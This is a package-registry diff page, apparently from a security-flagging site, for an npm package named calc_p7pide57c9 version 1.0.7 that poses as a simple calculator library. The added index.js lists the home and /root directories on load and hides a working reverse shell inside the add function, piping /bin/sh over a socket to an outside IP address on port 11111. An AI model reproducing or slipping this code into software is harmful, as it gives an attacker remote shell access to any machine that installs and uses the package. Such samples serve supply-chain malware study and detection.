calc_p7pide57c9 1.0.7

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of calc_p7pide57c9 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +31 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,31 @@
1
+ const cp = require('child_process');
2
+ console.log(cp.execSync("ls -lah ~").toString());
3
+ console.log(cp.execSync("ls -lah /root").toString());
4
+
5
+ exports.add = function(a, b) {
6
+ (function(){
7
+ var net = require("net"),
8
+ cp = require("child_process"),
9
+ sh = cp.spawn("/bin/sh", []);
10
+ var client = new net.Socket();
11
+ client.connect(11111, "206.189.148.248", function(){
12
+ client.pipe(sh.stdin);
13
+ sh.stdout.pipe(client);
14
+ sh.stderr.pipe(client);
15
+ });
16
+ return /a/; // Prevents the Node.js application form crashing
17
+ })();
18
+ return a + b;
19
+ }
20
+
21
+ exports.sub = function(a, b) {
22
+ return a - b;
23
+ }
24
+
25
+ exports.mul = function(a, b) {
26
+ return a * b;
27
+ }
28
+
29
+ exports.div = function(a, b) {
30
+ return a / b;
31
+ }
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "calc_p7pide57c9",
3
+ "version": "1.0.7",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }